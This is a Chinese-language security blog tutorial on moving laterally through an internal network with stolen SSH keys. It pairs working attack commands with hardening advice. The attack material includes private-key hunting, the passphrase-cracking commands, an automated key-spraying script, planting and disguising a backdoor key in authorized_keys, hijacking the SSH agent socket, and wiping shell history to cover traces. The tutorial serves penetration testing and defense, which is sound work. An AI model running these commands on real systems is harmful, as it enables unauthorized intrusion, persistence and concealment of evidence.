SSH密钥横向移动:内网渗透中的密钥利用与防御实战

1. 项目概述与核心场景

最近在复盘一次内部红蓝对抗的复盘报告,发现一个挺有意思的现象:很多防守方在边界防护上投入了大量精力,比如WAF、IDS、防火墙策略都做得挺严实,但一旦攻击者通过某种方式(比如一个薄弱的Web应用漏洞)拿到了一台内网Linux服务器的初始立足点,后续的横向移动往往就变得异常顺畅。这其中,SSH密钥的利用是一个被严重低估的“高速公路”。很多人觉得配置了密钥登录就一劳永逸,比密码安全,但实际上,如果密钥管理不当,它反而会成为攻击者在内部网络快速扩散的跳板。今天,我就结合实战中的几个典型场景,来拆解一下攻击者是如何利用SSH密钥在内网里“逛街”的,以及我们作为防御方该如何布防。

简单来说,这个内容就是聚焦于:当你已经拿到一台Linux服务器的某种权限(比如一个Web Shell,或者通过漏洞获取的普通用户权限)后,如何以它为起点,利用内网中现存的SSH密钥对,向其他服务器进行横向渗透。这不仅仅是“找到密钥然后登录”那么简单,它涉及密钥的发现、提取、破解(如果需要)、利用以及后续的权限维持和痕迹清理,是一套完整的战术链。无论你是安全工程师想加固自己的环境,还是渗透测试人员想提升内网渗透的效率,这些实战技巧都值得仔细琢磨。

2. SSH密钥利用的核心原理与攻击路径

要理解攻击手法,首先得明白SSH密钥认证是怎么工作的。当我们说“SSH密钥登录”,通常指的是使用非对称加密的一对密钥:一个私钥(private key)保存在客户端机器上,绝对保密;一个公钥(public key)放在目标服务器的 ~/.ssh/authorized_keys 文件里。登录时,客户端用私钥对挑战信息签名,服务器用对应的公钥验证签名,通过则允许登录。这比密码安全,因为它避免了密码在网络中传输和暴力破解的风险。

然而,从攻击者视角看,这个机制暴露了几个关键的攻击面:

  1. 私钥存储位置固定 :用户通常将私钥保存在 ~/.ssh/id_rsa ~/.ssh/id_dsa ~/.ssh/id_ecdsa ~/.ssh/id_ed25519 等默认位置。这为攻击者提供了明确的搜寻目标。
  2. 公钥授权文件集中 ~/.ssh/authorized_keys 文件包含了所有被允许通过密钥登录此账户的公钥列表。攻击者不仅可以添加自己的公钥实现后门,还可以读取已有的公钥,用于推断可能存在的、对应私钥在其他主机上的情况。
  3. 密钥可能无密码保护 :为了便利,很多运维人员或自动化脚本使用的私钥是不设置密码(passphrase)的。这意味着一旦私钥文件被窃取,立即可以投入使用,无需破解。
  4. 密钥信任关系可传递 :内网中普遍存在基于密钥的信任关系。例如,跳板机可以无密码登录业务服务器,运维机可以无密码登录所有数据库服务器。攻击者获取了跳板机上的私钥,就相当于拿到了它所信任的所有服务器的门票。

基于这些原理,攻击者在获取初始立足点后的典型攻击路径如下:首先,在已控服务器上进行本地信息收集,寻找现存的SSH私钥和已知主机信息;然后,尝试使用找到的私钥连接其他常见目标(如同段IP、历史连接过的IP);如果私钥有密码,则尝试破解;成功后,在新的服务器上重复上述过程,实现横向移动。同时,他们也会尝试写入自己的公钥到 authorized_keys ,建立持久化后门。

注意:本文所有技术讨论均限于授权安全测试、企业内部安全评估及个人学习环境。未经授权对他人的系统进行渗透测试是违法行为。

3. 实战环境信息收集与密钥发现

拿到一个Shell之后,别急着横移,系统的信息收集是成功的第一步。盲目扫描可能会触发告警。我们的目标是快、准、静。

3.1 基础环境侦察

首先,得知道自己在哪,周围有什么。执行一些基础命令来绘制小范围地图:

# 查看当前用户和权限
id
whoami
sudo -l # 非常重要!查看当前用户能以sudo方式执行哪些命令

# 查看网络配置,确定IP段和网卡信息
ip addr show
ifconfig
cat /etc/hosts

# 查看ARP缓存和当前网络连接,寻找内网其他活跃主机
arp -a
netstat -antp
ss -antp

# 查看历史命令,也许有运维人员连接其他服务器的记录
history
cat ~/.bash_history

这些信息能帮你判断这台服务器的角色(是Web服务器、数据库还是跳板机),以及它可能通信的内网IP段。

3.2 针对性搜寻SSH密钥及相关文件

接下来,就是寻找“钥匙”。搜索要有重点,避免全盘扫描产生大量IO引起注意。

# 1. 检查当前用户的SSH目录
ls -la ~/.ssh/
cat ~/.ssh/id_* 2>/dev/null # 尝试读取私钥文件
cat ~/.ssh/authorized_keys 2>/dev/null # 查看当前用户允许哪些密钥登录
cat ~/.ssh/known_hosts 2>/dev/null # 查看该用户曾经连接过哪些主机,是重要的目标列表

# 2. 检查是否有其他用户的SSH目录
# 先列举所有用户
cat /etc/passwd | cut -d: -f1
# 或者检查/home目录
ls -la /home/
# 针对发现的其他用户,尝试读取其.ssh目录(需要相应权限)
sudo cat /home/otheruser/.ssh/id_rsa 2>/dev/null
# 如果当前用户有sudo权限,甚至可以切换到其他用户
sudo -u otheruser cat /home/otheruser/.ssh/id_rsa

# 3. 全局搜索可能的密钥文件(谨慎使用,动作较大)
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null | head -20
find / -type f -perm -400 -name "*id*" 2>/dev/null # 查找具有可读权限的疑似密钥文件

# 4. 检查根目录或特定应用目录下是否有运维留下的密钥
ls -la /root/.ssh/ 2>/dev/null
ls -la /tmp/ /var/tmp/ # 临时目录有时会有脚本留下的密钥

实操心得 ~/.ssh/known_hosts 文件是个宝藏。它记录了该用户通过SSH连接过的所有主机的主机密钥。虽然不能直接用于登录,但它给了你一个非常精准的横向移动目标列表。你可以从里面提取出所有连接过的IP或主机名。

3.3 内存与进程中的密钥嗅探

更高级的攻击者还会关注内存中的信息。如果某个SSH连接正在使用中,其私钥可能以解密后的形式存在于进程内存中。这需要借助一些工具,但在简单的环境下,也可以通过搜索进程命令行来发现:

# 查看是否有ssh-agent进程(管理密钥的代理)
ps aux | grep ssh-agent
# 查看是否有保持着的SSH连接进程
ps aux | grep “ssh -”
# 检查环境变量,看是否有SSH_AUTH_SOCK(指向ssh-agent的socket)
env | grep SSH

如果存在 ssh-agent 且你能访问其socket文件,理论上可以从中列举出已加载的私钥并进行使用,但这涉及更复杂的内存取证技术。

4. 密钥的利用与横向移动技巧

找到密钥文件后,真正的横向移动就开始了。这里分几种情况讨论。

4.1 使用无密码的私钥直接连接

这是最简单的情况。假设你在 /home/webuser/.ssh/ 下找到了一个 id_rsa 文件,并且它没有密码保护。

  1. 本地测试密钥有效性

    # 首先,将私钥权限设置为600,这是SSH客户端的要求
    chmod 600 /tmp/id_rsa_stolen
    # 尝试用这个密钥连接它来源服务器自身(如果authorized_keys里有对应公钥)
    ssh -i /tmp/id_rsa_stolen webuser@localhost -o ConnectTimeout=3
    
  2. 针对known_hosts的目标进行连接

    # 从known_hosts提取目标IP(一个简单的示例,实际需要解析该文件格式)
    # known_hosts的每一行可能包含IP、主机名和密钥类型,这里用awk简单提取IP
    cat ~/.ssh/known_hosts | awk '{print $1}' | cut -d, -f1 | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > targets.txt
    # 遍历目标列表,尝试连接常见端口(22)
    for ip in $(cat targets.txt); do
      echo "Trying $ip..."
      ssh -i /tmp/id_rsa_stolen -o ConnectTimeout=2 -o BatchMode=yes webuser@$ip "hostname" 2>/dev/null
      if [ $? -eq 0 ]; then
        echo "[+] Successfully connected to $ip"
      fi
    done
    

    参数解释:

    • -i :指定身份文件(私钥)。
    • -o ConnectTimeout=2 :设置连接超时为2秒,避免在无法连接的主机上等待过久。
    • -o BatchMode=yes :禁用密码询问等交互,适用于脚本环境。如果密钥需要密码,这个选项会导致连接失败,正好用于筛选无密码密钥。
    • 命令 “hostname” :连接成功后执行的命令,这里只是获取主机名确认权限。
  3. 针对当前网段进行扫描连接 : 如果 known_hosts 里目标不多,或者你想扩大战果,可以对当前网段进行扫描。

    # 假设当前IP是192.168.1.100,扫描192.168.1.0/24网段
    for i in {1..254}; do
      ip="192.168.1.$i"
      # 跳过自己
      if [ "$ip" == "192.168.1.100" ]; then
        continue
      fi
      ssh -i /tmp/id_rsa_stolen -o ConnectTimeout=1 -o BatchMode=yes -o StrictHostKeyChecking=no webuser@$ip "echo $ip is alive" 2>/dev/null
    done
    

    重要警告 -o StrictHostKeyChecking=no 参数会忽略主机密钥验证,这在自动化脚本中常用,但会带来中间人攻击风险。在实战中,如果对速度要求不是极端高,可以去掉这个参数,首次连接时手动确认一次,或者通过其他方式预先接受主机密钥。

4.2 破解受密码保护的私钥

如果找到的私钥文件被加密了(有passphrase),你会看到类似 -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED 的标识。这时候就需要破解。

  1. 使用ssh2john和John the Ripper : 这是最经典的方法。首先用 ssh2john 工具将SSH私钥转换成John能识别的哈希格式,然后用John进行破解。

    # 1. 将私钥转换为john格式的哈希
    ssh2john id_rsa_encrypted > id_rsa_hash.txt
    # 2. 使用john破解,可以指定字典文件
    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
    # 3. 查看破解出的密码
    john --show id_rsa_hash.txt
    
  2. 使用hashcat hashcat 支持GPU加速,速度更快。需要先确定私钥的哈希模式。对于OpenSSH私钥,模式通常是 22911 (适用于 $sshng$ 格式,这是新版 ssh2john 输出的)或 22921 等。

    # 转换格式(确保ssh2john输出的是$sshng$开头)
    ssh2john id_rsa_encrypted > id_rsa_hash.txt
    # 使用hashcat破解,模式22911
    hashcat -m 22911 id_rsa_hash.txt /usr/share/wordlists/rockyou.txt -O
    

注意事项

  • 破解成功率完全取决于密码强度。运维为了方便,密码可能很简单,比如 admin@123 Password1 、或者公司名缩写+年份。
  • 在实战中,如果时间紧迫或目标价值不高,可能会直接放弃有密码的密钥,转向其他攻击路径。
  • 可以尝试结合目标单位的信息生成专属字典(如公司名、产品名、常用口号等),能提高破解效率。

4.3 利用authorized_keys植入后门

如果你有写入 ~/.ssh/authorized_keys 的权限(比如当前用户就是目标用户,或者通过sudo提权),那么植入后门是最直接的持久化方式。

  1. 生成一对新的SSH密钥对

    ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_key -N "" # -N "" 表示空密码
    

    这会在 /tmp 下生成 backdoor_key (私钥)和 backdoor_key.pub (公钥)。

  2. 将公钥追加到目标用户的authorized_keys文件

    echo $(cat /tmp/backdoor_key.pub) >> ~/.ssh/authorized_keys
    # 如果需要写入其他用户目录,可能需要权限
    sudo bash -c 'echo \"$(cat /tmp/backdoor_key.pub)\" >> /home/targetuser/.ssh/authorized_keys'
    
  3. (可选)进行伪装 :为了隐蔽,可以将你的公钥伪装成一条正常的记录,或者附加在一条正常记录后面。也可以修改公钥注释部分(通常是 user@hostname ),改成看起来合理的名字。

  4. 从外部连接 :保存好私钥文件 backdoor_key ,之后你就可以从任何能访问目标IP的机器上,使用该私钥直接登录。

    ssh -i /path/to/backdoor_key targetuser@target_ip
    

提示:防御方应定期审计 authorized_keys 文件,检查是否有未授权或来源不明的公钥。可以使用类似 ssh-keygen -l -f .ssh/authorized_keys 的命令查看所有公钥的指纹和注释。

4.4 利用SSH代理转发进行跳板

这是一种更隐蔽的横向移动方式,不需要窃取私钥文件。假设你通过SSH连接到了服务器A,并且A上正在运行 ssh-agent (它管理着可以登录服务器B的私钥)。

  1. 检查SSH代理转发是否可用 :在服务器A上,检查 SSH_AUTH_SOCK 环境变量。

    echo $SSH_AUTH_SOCK
    # 输出类似 /tmp/ssh-XXXXXXX/agent.12345
    
  2. 利用代理进行连接 :如果你的SSH客户端支持代理转发(在连接A时用了 -A 参数),或者你手动将A上的 SSH_AUTH_SOCK 环境变量和socket文件“隧道”回了你的攻击机,那么你就可以直接使用A上 ssh-agent 里缓存的密钥来连接B。

    # 在攻击机上,假设你已经通过某种方式将A的SSH_AUTH_SOCK映射到了本地
    export SSH_AUTH_SOCK=/tmp/agent_socket_from_A
    # 现在,你可以直接ssh到B,而无需B的私钥文件在本地
    ssh user_on_B@server_B_ip
    

    这非常隐蔽,因为私钥本身没有离开服务器A的内存,攻击者只是在“借用”这个已建立的认证会话。

防御要点 :在 /etc/ssh/sshd_config 中,将 AllowAgentForwarding 设置为 no 可以禁用服务器端的代理转发功能,阻止这种利用方式。对于高度敏感的环境,建议禁用。

5. 自动化工具与脚本实战

手动操作虽然灵活,但在大规模内网中效率低下。我们可以编写一些简单的Shell脚本来自动化整个过程。

5.1 自动化密钥发现与连接脚本

下面是一个相对完整的脚本示例,它会在当前机器上搜索私钥,尝试用它们连接一个IP列表。

#!/bin/bash
# auto_ssh_key_hopping.sh

TARGET_FILE="target_ips.txt" # 每行一个目标IP
OUTPUT_FILE="success_log.txt"
KEY_FIND_DIRS=("/home" "/root" "/tmp") # 搜索密钥的目录

echo "[*] Starting SSH key discovery and hopping..."

# 函数:尝试用私钥连接
try_key() {
    local KEY_FILE=$1
    local TARGET_IP=$2
    local USER=$3
    chmod 600 "$KEY_FILE" 2>/dev/null
    # 尝试连接并执行一个简单命令
    result=$(ssh -i "$KEY_FILE" -o ConnectTimeout=3 -o BatchMode=yes -o StrictHostKeyChecking=no "$USER"@"$TARGET_IP" "hostname && whoami" 2>/dev/null)
    if [ $? -eq 0 ]; then
        echo "[+] SUCCESS: IP=$TARGET_IP, User=$USER, Key=$KEY_FILE" | tee -a "$OUTPUT_FILE"
        echo "   Output: $result" | tee -a "$OUTPUT_FILE"
        return 0
    else
        echo "[-] Failed: $TARGET_IP with $KEY_FILE"
        return 1
    fi
}

# 1. 寻找私钥文件
echo "[*] Searching for private keys..."
KEY_FILES=()
for dir in "${KEY_FIND_DIRS[@]}"; do
    if [ -d "$dir" ]; then
        while IFS= read -r -d $'\0' file; do
            # 简单过滤,根据文件名和内容判断是否为私钥
            if grep -q "BEGIN.*PRIVATE KEY" "$file" 2>/dev/null; then
                KEY_FILES+=("$file")
                echo "[*] Found potential key: $file"
            fi
        done < <(find "$dir" -type f \( -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "*.pem" \) -readable 2>/dev/null -print0)
    fi
done

if [ ${#KEY_FILES[@]} -eq 0 ]; then
    echo "[-] No private keys found."
    exit 1
fi

# 2. 读取目标IP列表
if [ ! -f "$TARGET_FILE" ]; then
    echo "[-] Target file $TARGET_FILE not found."
    # 可以尝试从known_hosts生成
    echo "[*] Trying to generate targets from known_hosts..."
    cat ~/.ssh/known_hosts 2>/dev/null | awk '{print $1}' | tr ',' '\n' | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > "$TARGET_FILE"
    if [ ! -s "$TARGET_FILE" ]; then
        echo "[-] Could not generate target list. Exiting."
        exit 1
    fi
fi

# 3. 定义要尝试的用户名列表(根据信息收集结果调整)
USER_LIST=("root" $(whoami) "admin" "ubuntu" "centos" "deploy" "jenkins" "git")

# 4. 三重循环:密钥 -> 目标 -> 用户
echo "[*] Starting connection attempts..."
for key in "${KEY_FILES[@]}"; do
    echo "[*] Testing key: $key"
    while read -r target_ip; do
        # 跳过空行和注释
        [[ "$target_ip" =~ ^#.*$ ]] || [ -z "$target_ip" ] && continue
        for user in "${USER_LIST[@]}"; do
            try_key "$key" "$target_ip" "$user"
            # 稍微延迟,避免请求过于频繁
            sleep 0.1
        done
    done < "$TARGET_FILE"
done

echo "[*] Scan finished. Check $OUTPUT_FILE for results."

脚本使用要点

  • 这是一个基础框架,需要根据实际情况调整 KEY_FIND_DIRS USER_LIST
  • 脚本包含了从 known_hosts 自动生成目标列表的备选逻辑。
  • -o BatchMode=yes 确保了只有无密码密钥或已加载到agent的密钥才能成功,避免了交互式密码输入卡住脚本。
  • 在生产环境使用前,务必在测试环境充分验证,避免因脚本错误(如权限修改错误)影响业务。

5.2 利用Metasploit或Cobalt Strike等框架

对于专业渗透测试人员,使用成熟框架效率更高。

  • Metasploit :有专门的模块用于扫描和利用SSH密钥。

    • auxiliary/scanner/ssh/ssh_identify_pubkeys :扫描主机,识别 authorized_keys 文件中可用的公钥。
    • 在获取Meterpreter会话后,可以使用 post/multi/gather/ssh_creds 模块来自动收集会话主机上的SSH密钥和已知主机信息。
    • 使用 use auxiliary/scanner/ssh/ssh_login_pubkey 模块,配合收集到的私钥和用户名/IP列表进行批量登录测试。
  • Cobalt Strike :可以通过Aggressor Script编写自动化任务,在Beacon会话中执行类似上述Shell脚本的命令,收集密钥并尝试横向移动,然后将结果汇总到团队服务器。

使用框架的优势在于日志集中、协作方便,并且可以方便地与其他攻击模块(如漏洞利用、提权)结合形成自动化攻击链。

6. 防御策略与痕迹清理

有攻必有防。作为攻击方,要了解如何隐藏痕迹;作为防御方,要知道如何布防。

6.1 攻击方的痕迹清理(授权测试后)

在授权测试结束后,通常需要清理留下的痕迹,特别是添加的后门密钥。

  1. 清理authorized_keys中的后门

    # 精确删除你添加的那一行,需要知道公钥内容
    sed -i '/your_public_key_string_here/d' ~/.ssh/authorized_keys
    # 或者,如果你不记得具体内容,可以备份后清空(风险大,慎用)
    cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak
    echo "" > ~/.ssh/authorized_keys
    # 然后从备份中恢复原有的合法密钥(需要你知道哪些是原有的)
    
  2. 清理Shell历史

    # 清理当前会话的历史(内存中)
    history -c
    # 清理历史文件
    cat /dev/null > ~/.bash_history
    # 或者只删除包含敏感命令的行
    sed -i '/ssh.*-i.*id_rsa_stolen/d' ~/.bash_history
    sed -i '/scp.*id_rsa/d' ~/.bash_history
    
  3. 清理临时文件

    rm -f /tmp/id_rsa_stolen /tmp/backdoor_key*
    
  4. 注意文件时间戳 touch 命令可以修改文件的访问和修改时间,但高级取证可能会检查inode变更时间(ctime),这个时间很难完美伪造。在要求极高的场景下,痕迹清理几乎不可能完美。

6.2 防御方的加固建议

对于系统管理员和安全工程师,以下措施可以极大增加攻击者利用SSH密钥进行横向移动的难度:

  1. 强制为私钥设置强密码 :在 ssh-keygen 时一定要设置强密码短语(passphrase)。虽然带来了不便,但这是防止私钥泄露后直接被利用的第一道屏障。
  2. 使用ssh-agent并设置超时 :对于需要频繁使用密钥的场景,使用 ssh-agent 管理解密后的密钥,并为其设置超时( ssh-add -t <seconds> ),让密钥在一定时间后自动从代理中移除。
  3. 严格管理authorized_keys文件
    • 定期审计 ~/.ssh/authorized_keys ,移除不再使用的公钥。
    • 使用 from= 选项限制公钥的使用来源IP。例如,在 authorized_keys 中一行公钥前加上 from="192.168.1.0/24,10.1.1.1" ,表示只允许从指定IP段使用该密钥登录。
    • 使用 command= 选项限制密钥登录后只能执行特定命令,常用于自动化脚本。
  4. 网络隔离与访问控制
    • 遵循最小权限原则,服务器之间不应存在全通的SSH信任关系。使用跳板机(堡垒机),并严格控制跳板机到业务服务器的密钥对。
    • 在网络层使用防火墙或安全组策略,限制SSH端口(22)的访问,只允许来自管理网段或跳板机的IP连接。
  5. 启用SSH日志并集中监控
    • 确保SSH日志(通常为 /var/log/auth.log /var/log/secure )正常开启。
    • 部署SIEM系统,集中收集和分析SSH日志,关注异常行为,如:非工作时间登录、来源IP异常、频繁认证失败、使用不常见的用户名登录成功等。
  6. 考虑使用证书认证替代密钥认证 :对于大型环境,可以考虑部署SSH证书认证(SSH Certificate Authority)。由统一的CA签发短期有效的证书,替代长期有效的静态密钥,从根本上解决密钥分发、管理和撤销的难题。
  7. 定期更换密钥 :制定策略,定期(如每季度或每半年)更换用于服务器管理的SSH密钥对。
  8. 禁用不安全的选项 :在 /etc/ssh/sshd_config 中:
    • PermitRootLogin 设置为 prohibit-password no
    • PasswordAuthentication 设置为 no ,强制使用密钥认证,但前提是密钥管理必须到位。
    • AllowAgentForwarding 设置为 no ,除非业务必需。
    • X11Forwarding 设置为 no

横向移动的对抗是内网安全的核心。SSH密钥作为一把双刃剑,用好了能极大提升运维效率和安全性,用不好则会为攻击者铺平道路。真正的安全不在于某个点上的坚固,而在于整个体系没有明显的短板。理解攻击者的思路,才能更好地构建防御。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值